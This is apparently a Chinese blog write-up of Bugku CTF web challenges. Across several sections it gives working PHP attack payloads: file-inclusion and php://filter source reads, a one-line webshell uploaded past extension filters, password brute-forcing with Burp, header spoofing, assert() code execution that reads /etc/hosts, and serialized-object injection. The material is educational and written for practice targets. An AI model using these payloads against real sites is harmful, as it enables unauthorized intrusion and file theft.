Contents
  1. 1. 前言
  2. 2. Web2
  3. 3. 计算器
  4. 4. web基础$_Get
  5. 5. web基础$_POST
  6. 6. 矛盾
  7. 7. Web3
  8. 8. 域名解析
  9. 9. 你必须让他停下
  10. 10. 本地包含
  11. 11. 变量一
  12. 12. Web3
  13. 13. 头等舱
  14. 14. 网站被黑
  15. 15. 管理员系统
  16. 16. Web4
  17. 17. flag在index里
  18. 18. 点击一百万次
  19. 19. 本地包含2
  20. 20. 各种绕过
  21. 21. 求getshell
  22. 22. 程序员的本地网站
  23. 23. cookie欺骗
  24. 24. 速度要快
  25. 25. 过狗一句话
    1. 25.1. md5 collision
    2. 25.2. never give up
    3. 25.3. welcome to bugkuctf
    4. 25.4. 字符?正则?
    5. 25.5. 你从哪里来
    6. 25.6. Web8
    7. 25.7. flag.php
    8. 25.8. Trim的笔记本

前言

刷刷题,长长见识

Web2

直接查看源码即可

计算器

Fd23ee.png
答案为两位数,输入却只能输入一位,F12查看源码

Fd28dH.png
然后,右键编辑HTML,改成maxlengt=”2”,输入计算结果,得到flag

web基础$_Get

Fd2tJI.png
PHP语句,GET方式上传信息,直接在后面加上?what=flag,得到flag
Fd2dQf.png

web基础$_POST

Fd2Deg.png
这题要post数据,Firefox安装一个hackbar插件,F12打开,输入如下,即可得到flag
Fd2fyT.png

矛盾

Fd2LSx.png

PHP函数
bool is_numeric ( mixed $var )
检测量是否为数字或数字字符
如果var是数字或者数字字符则返回true,否则返回false

题目的意思是$num不是数字活数字字符,但是还要$num=1
$GET方式传参,可以令num=1x(x可以为任意字符),即可得到flag
Fd2jOO.png

Web3

FdRFpt.png

查看源码,发现一串HTML字符
FdRZnS.png

写一个脚本,代码如下

1
2
3
4
5
6
s='KEY{J2sa42ahJK-HS11III&#125'
key=s.split(';')
flag=''
for i in key:
flag+=chr(int(i[2:]))
print flag

拿到flag
FdRdhR.png

域名解析

FdRrjK.png

bugku原来的IP为下面的

FdRynO.png

这个IP也是无法访问的
FdR6BD.png

打开C:/windows/system32/drivers/etc目录下的hosts文件
FdRcHe.png

在最后一行加上123.206.87.240 flag.bugku.com,保存设置
FdR2AH.png

再次访问flag.bugku.com,得到flag,
FdR43t.png

你必须让他停下

直接用burpsuite抓包,然后找一找,就找到了
FdRTu8.png

本地包含

FdoriF.png

REQUEST默认情况下包含了$_GET,$_POST 和 $_COOKIE 的数组。

这题的目的就是要看到flag.php里的内容
方法有很多

1
2
3
4
5
?hello=file('flag.php')

?hello=1);show_source('flag.php');//

?hello=1);show_source('flag.php');var_dump(

都可以的得到flag
FdTEwV.png

变量一

FdTQyR.png

发现有$$的变量,直接用全局变量$GLOBALS即可,
?args=GLOBALS,进而构造出var_dump($GLOBALS)

payload:

1
http://123.206.87.240:8004/index1.php?args=GLOBALS

Web3

查看源码,发现JSFUCK
FdTYFO.png

复制粘贴到console即可,或者JSFUCK在线解密一下
FdTNfe.png

头等舱

很简单,burpsuite抓包即可。
FdT5mq.png

网站被黑

需要用御剑扫描器,扫描一下网站的后台
FdTO1J.png

打开index.php是原来网页,打开shell.php,出现webshell,要密码
Fd7S76.png

直接用burpsuite暴力破解,
先抓包,然后send to intruder
Fd7ZnI.png

点击positions,先点击clear,清除$,然后选中密码123456,点击add,添加$
Fd7mHP.png

点击payload,进行如下选择,其他默认
Fd7uAf.png

然后点击start attack
Fd7M4S.png

一会之后,得到结果,然后观察爆破结果,length大部为1125,只有一个1110,异常,猜测这个就是密码,尝试登录,
Fd7l9g.png

会回显flag

管理员系统

查看源代码,发现一段base64
Fd7jPS.png

解密后得到
FdH9rn.png

尝试登录,用户名为admin,密码为test123
FdHiV0.png

IP禁止访问,请联系本地管理员登录
要伪装一下,伪装成本地IP,在headers添加一个伪装头部
Fdq7r9.png

即可得到flag
Fdqzxe.png

Web4

查看源码,发现两串URl编码,在线解码后,发现
FdOd1S.png

直接提交,得到flag
Fw9vTg.png

flag在index里

payload:

1
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

url上面有file参数,就想到了php里面的file协议,用base64转码把index.php里面的内容读出来,再解码,得到flag

输入密码查看flag
要输入5位数字,字节暴力破解,bp一下即可得到flag
FwCAmT.png
FwCCpn.png

点击一百万次

查看源码
FwCmtJ.png

post一个clicks=1000000即可
FwC80O.png

本地包含2

查看源码,发现有个upload.php
FwCttH.png

访问看看,到了一个文件上传网页
FwCNhd.png

构造一句话木马,

1
<script language=php>system("ls")</script>

更改文件名为1.php;.jpg,然后上传
FwCrB8.png

查看
FwC6Ag.png

可以直接看到包含的文件
FwPCUe.png

再访问this_is_th3_F14g_154f65sd4g35f4d6f43.txt,即可得到flag
FwP5RA.png

各种绕过

FwiKL6.png

GET获取uname,id
POST获取passwd

===:比较两个变量的只和类型 ==:比较值,不比较类型
要使uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等
很熟悉的套路  只要构造数组

构造,即可得到flag
FwFnhQ.png

求getshell

是一道文件上传题,
开始改了各种后缀名,尝试了很多都不行

好不容易拿到这个的时候,还以为快成功了,搜了搜wp,发现还是做错了
F0YLVK.png

用bp抓包后,然后更改头部信息Content-Type,
F0YX5D.png

通过修改Content-type后字母的大小写可以绕过检测,
分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤
然后修改文件后缀名为.php5

F0Yx8H.png
F0tSxA.png

程序员的本地网站

要求从本地访问
直接bp抓包,伪装成本地登录,在头部添加 X-forwarded-for:127.0.0.1

F0tka8.png

在做题过程中发现了点问题,不知道是迷惑人,还是存在的bug

F0te2j.png
F0tKrq.png
F0tMq0.png
F0t1aT.png
F0t3IU.png

cookie欺骗

F0tJG4.png
URL上有段base64,解密后的信息是”keys.txt”

F0tdqx.png
参数line是按行返回信息

从keys.txt可以看出,”filename=”后面直接加的是文件名的base64编码

猜测index.php文件是否存在,把index.php转成base64:aW5kZXgucGhw
填入url,
payload:http://123.206.87.240:8002/web11/index.php?line=&filename=aW5kZXgucGhw

查看源码,有信息
F0tBdK.png

把line改成line=3试试,有信息
F0tDIO.png

写一个脚本,获得index.php中的信息

1
2
3
4
5
6
7
8
9
10
import requests

re=requests.Session()
url='http://123.206.87.240:8002/web11/index.php'

for i in range(0,20):
key={'line':str(i),'filename':'aW5kZXgucGhw'}
a=re.get(url,params=key).content
code=str(a,encoding="utf-8")
print(code)

拿到index.php的源码
F0tyJe.png

可以看到,cookie的名字和值都是”margin”
F0t6RH.png

修改cookie:margin=margin ,修改filename的值为keys.php的base64编码,访问keys.php(图中标1处,即为keys.php的base64编码)
F0tczd.png

速度要快

查看源码,要post一个margin
F0theP.png

bp抓包,
F0t5o8.png

Base64解码之后,又一个base64,再解码
F0t7WQ.png

得到几个数字,没什么用啊
F0tHzj.png

bp又抓了一次,发现flag居然变了,又进行了解码,也没用
F0tqQs.png

看了大佬的wp,使用脚本做的,学习一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import base64

url="http://123.206.87.240:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里

mid=base64.b64decode(headers['flag'])

mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的

flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}

print (r.post(url,data).text)#post方法传上去

拿到flag
F0tvwV.png

过狗一句话

题目给的代码

1
2
3
4
5
<?php 
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
?>

explode()函数可以在官方文档看详细信息,就是把字符串打散成数组。

exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,那就说明可以执行代码。

payload:

s=print_r(scandir(‘./‘)) 然后读取fl4g.txt

s=print_r(glob(“*.*“)) 然后读取show_source(“fl4g.txt”)**

使用file_get_contents(“flag.txt”)读取文件**

读取文件还可以使用readfile()和fopen(),可以任意读取文件。

1
2
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))

md5 collision

题目提示是MD5碰撞,开始试了几个a=1之类的,都报是false,猜测应该是要输入的这个值,MD5之后是以0e开头的字符串,因为,PHP在处理哈希字符串时,会利用!=或==来对哈希值进行比较,它把每一个以0e开头的哈希值都解释为0

payload:?a=s155964671a

never give up

打开题目,看看源码,发现一个1.html,查看源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

可以看到中间有一大段base64加密的串,还混这url,base64解密之后,是一段url编码,和一些语句,

1
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

再次url解码之后,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
}

if(stripos($a,’.’))

if($data==”bugku is a nice plateform!” and $id==0 and strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4)

要求a中不能有字符,id不能是空,且id=0,data=”bugku is a nice plateform!”,id=0,b的长度>5,”111”拼接上b的第一个字符=“1114”,但是b的低一个字符有不能=4,这样才可以包含f412a3g.txt

我们一点点来分析,

PHP在处理数字与字符串的结合是会把第一个数字当做整个串的值,比如”1asd“=1,那么我们只要使id的值,是一个字符串,就可以使id弱等于0,

源码中变量 $data 是由 file_get_contents()读取的 ,file_get_contents() 函数是用于将文件的内容读入到一个字符串中的方法,函数读取变量 $a 的值而得,所以 $a 的值必须为数据流。

我们不可能创建一个a文件,再写入数据bugku is a nice plateform!。

那么,要让a=bugku is a nice plateform!,只能利用,用php伪协议 php:// 来访问输入输出的数据流,它的大概意思就是可以读取我们post传递的只读数据流。所以,令 $a = "php://input",并post提交字符串 bugku is a nice plateform!

而对于eregi(“111”.substr($b,0,1),”1114”),很简单,直接用%00绕过,可以使b=%0012345

AL4QYD.png

成得到flag。还有一个方法是,直接读取f4l2a3g.txt

AL4JOI.png

也可以得到flag。

welcome to bugkuctf

查看源码

1
2
3
4
5
6
7
8
9
10
$user = $_GET["txt"];  
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

有个hint.php,访问试试,什么都没有,不死心,再?file=php://filter/read=convert.base64-encode/resource=hint.php读一下,什么都没有,,,,,,

还是看源码吧

file_get_contents($user,'r')==="welcome to the bugkuctf",意思是把名为$user文件的内容输出到一个字符串,并且要求这个字符串是”welcome to the bugkuctf”,

这里可以使用php://伪协议,让user=php://,然后post提交welcome to the bugkuctf,这样就可以使语句变成file_get_contents(php://,'r')

payload :GET:?txt=php://input POST:welcome to the bugkuctf

ALI0Mj.png

页面变了,但是为啥不是hello admin呢?

而且,flag在哪呢。。。。。。。

突然想到hint.php,再读一次file=php://filter/read=convert.base64-encode/resource=hint.php

payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php

ALoUTx.png

有东西啊,拿去解码,

1
2
3
4
5
6
7
8
9
<?php     //hint.php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
} } } ?>

得到了源码,可以然并卵啊,,,百思不得其解,最后,百度了一下,发现php://filter读取index.php,居然把这个给忘了,,读吧,

ALTdDs.png

再base64解码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php      //index.php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你们flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>

if(preg_match(“/flag/“,$file)) //说明文件名不能含有flag

$password = unserialize($password);

第一句,说明文件名$file不能含有flag,

AL7ydI.png

而这段代码中,有一个__tostring()方法,双下划线的魔术方法,当Flag类被实例化的时候会自动执行__tostring方法,而这个方法中写了如果file文件存在,那么就输出file文件中的内容。

1
2
3
4
5
6
7
8
if(preg_match("/flag/",$file)){ 
echo "不能现在就给你们flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}

如果文件名没有”flag”了,就会把这个文件包含进来,然后$password进行反序列化,再输出$password的值。

所以我们要构造一个Flag类型的参数,并把这个参数传给password。

但是password被unserialize()反序列化处理,所以要先serialize()序列化,关于序列化与反序列化,可以查看我的另一篇文章,PHP序列化与反序列化

直接PHP代码在线执行

ALHcnJ.png

然后把 password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}get提交

ALHTje.png

终于拿到flag了

字符?正则?

1
2
3
4
5
6
7
8
 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

原文:https://blog.csdn.net/qq_30464257/article/details/81160656

关键的还是看preg_match中的内容嘛,这里简单讲一下、需要用到的规则

1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
4.“\/”代表“/”
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次

payload:?id=keyaaakeyaaaakey:/a/aakeya@

你从哪里来

打开题目,就一句话

ALL27j.png

换Google浏览器试了一下,发现还是不行,那么只能修改header了

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。

ALLocT.png

Web8

1
2
3
4
5
6
7
8
9
10
11
<?php
extract($_GET);
if (!empty($ac)){
$f = trim(file_get_contents($fn));
if ($ac === $f){
echo "<p>This is flag:" ." $flag</p>";
}
else{
echo "<p>sorry!</p>";
}}
?>

$ac的值===$f,而**$f的值是从文件名为$fn的文件中读取的,我们并不知道$fn**的值是什么,这时看到了extract(),可以使用变量覆盖,get传入一个$ac的值,然后利用php伪协议,使$fn=php://input,当通过post提交一个和$ac一样的值,然后php://input会读入这个值,使$fn=这个值,从而覆盖掉$f的值

payload:get:?ac=1&fn=php://input post : 1

ALjdAJ.png

在网上还看到一种方法,根据题目提示,访问flag.txt,看到文件内容是flags,然后构造payload:

?ac=flags&fn=flag.txt,也是可以的,这个应该才是出题意图。

ALjogP.png

flag.php

看看源码,发现login只是个按钮,怪不得怎么点都没反应

这个提示hint,找了半天不知道是什么用,最后,get传进去hint=1,发现了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>

(unserialize($cookie) === “$KEY”)

这样看起来,只要把$KEY='ISecer:www.isecer.com'序列化之后,给cookie就可以了,事实上,也确实是把$KEY序列化之后给cookie,只不过,$KEY在序列化的时候,还未定义,是个空值,而不是$KEY='ISecer:www.isecer.com',所以,把$KEY=””序列化之后为s:0:"";

ALvbxx.png

cookie的参数是ISecer,所以payload:

cookie: ISecer=s:0:””;

ALxVeS.png

Trim的笔记本

Contents
  1. 1. 前言
  2. 2. Web2
  3. 3. 计算器
  4. 4. web基础$_Get
  5. 5. web基础$_POST
  6. 6. 矛盾
  7. 7. Web3
  8. 8. 域名解析
  9. 9. 你必须让他停下
  10. 10. 本地包含
  11. 11. 变量一
  12. 12. Web3
  13. 13. 头等舱
  14. 14. 网站被黑
  15. 15. 管理员系统
  16. 16. Web4
  17. 17. flag在index里
  18. 18. 点击一百万次
  19. 19. 本地包含2
  20. 20. 各种绕过
  21. 21. 求getshell
  22. 22. 程序员的本地网站
  23. 23. cookie欺骗
  24. 24. 速度要快
  25. 25. 过狗一句话
    1. 25.1. md5 collision
    2. 25.2. never give up
    3. 25.3. welcome to bugkuctf
    4. 25.4. 字符?正则?
    5. 25.5. 你从哪里来
    6. 25.6. Web8
    7. 25.7. flag.php
    8. 25.8. Trim的笔记本